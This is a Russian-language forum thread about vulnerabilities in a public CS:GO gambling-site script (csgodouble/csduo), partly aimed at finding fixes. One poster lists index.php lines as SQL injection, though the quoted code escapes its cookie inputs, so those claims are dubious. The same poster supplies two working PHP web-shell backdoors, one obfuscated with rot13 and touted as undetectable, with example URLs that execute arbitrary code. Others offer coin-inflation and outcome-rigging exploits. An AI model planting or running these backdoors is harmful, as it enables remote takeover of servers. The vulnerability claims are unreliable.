Уязвимости в csgodouble csduo топ!!!

[Lar1k]

1) /index.php 18: $sql = $db->query("SELECT * FROM `users` WHERE `hash` = " . $db->quote( $_COOKIE['hash'])); SQL Injection
2) /index.php 351: $sql = $db->query('SELECT * FROM `trades` WHERE `id` = '.$db->quote( $_COOKIE['tid']).' AND `status` = 0'); SQL Injection
3) /index.php 395: $sql = $db->query('SELECT * FROM `trades` WHERE `id` = '.$db->quote( $_COOKIE['tid']).' AND `status` = 0'); SQL Injection
Уязвимые места index.php
Если нужно буде выложу больше

1) PHP-Backdoor, который ничем не палится и при этом выглядит не палевно

<?php
@$_REQUEST['large'](str_rot13('riny($_ERDHRFG["pbqr"]);'));
?>

index.php?large=assert&code=echo 123;
index.php?large=assert&code=system('echo 1;');

2) PHP-Backdoor, спасибо тебе, типизация которой нет

<?php $_REQUEST['f']($_REQUEST['c']); ?>

index.php?f=assert&c=phpinfo();
index.php?f=eval&c=echo 1;

 

[Qrator]

Еще фиксы

 

[Artem0757]

НАканец

 

[Artem0757]

Го исчо

 

[Lar1k]

Еще фиксы

Фиксы будут чуть позже

 

[Lar1k]

Го исчо

Вечером мой друг

 

[Qrator]

Вечером мой друг

Топ просто.

 

[ToXaHo]

1) /index.php 18: $sql = $db->query("SELECT * FROM `users` WHERE `hash` = " . $db->quote( $_COOKIE['hash'])); SQL Injection
2) /index.php 351: $sql = $db->query('SELECT * FROM `trades` WHERE `id` = '.$db->quote( $_COOKIE['tid']).' AND `status` = 0'); SQL Injection
3) /index.php 395: $sql = $db->query('SELECT * FROM `trades` WHERE `id` = '.$db->quote( $_COOKIE['tid']).' AND `status` = 0'); SQL Injection
Уязвимые места index.php
Если нужно буде выложу больше

типо куки заменить?

 

[leon808]

Парни, я задолбался все фиксить. Уже около недели выкиньте вы этот скрипт на помойку. Если лойсов много будет скину какнуть на накрутку коинов, так сказать по горячим следам откопал. Мб кому поможет

P.s. На подкрутку цвета тоже имеется

 

[Lar1k]

Парни, я задолбался все фиксить. Уже около недели выкиньте вы этот скрипт на помойку. Если лойсов много будет скину какнуть на накрутку коинов, так сказать по горячим следам откопал. Мб кому поможет

P.s. На подкрутку цвета тоже имеется

Сливай, позже фиксы закину

 

[leon808]

У кого-нибудь есть демо csduo?

 

[daniil]

А че вы ожидали от паблика?

 

[Lar1k]

А че вы ожидали от паблика?

Фикс 15 символов.

 

[daniil]

Фикс 15 символов.

70% владельцев паблик даблов даже не подозревают об этом

 

[Lar1k]

70% владельцев паблик даблов даже не подозревают об этом

а бота смотрел, там есть что-то нехорошее ?

 

[daniil]

а бота смотрел, там есть что-то нехорошее ?

Нет не смотрел, но врятле он работает хотя бы "нормально"

 

[Misha2184]

1) /index.php 18: $sql = $db->query("SELECT * FROM `users` WHERE `hash` = " . $db->quote( $_COOKIE['hash'])); SQL Injection
2) /index.php 351: $sql = $db->query('SELECT * FROM `trades` WHERE `id` = '.$db->quote( $_COOKIE['tid']).' AND `status` = 0'); SQL Injection
3) /index.php 395: $sql = $db->query('SELECT * FROM `trades` WHERE `id` = '.$db->quote( $_COOKIE['tid']).' AND `status` = 0'); SQL Injection
Уязвимые места index.php
Если нужно буде выложу больше

А нужно в адресную строку вставлять? и что они делают?

 

[Lar1k]

14, и возможно еще в боте

 

[marafon4k]

Так как исправить?

 

[Artikkov]

Как так то?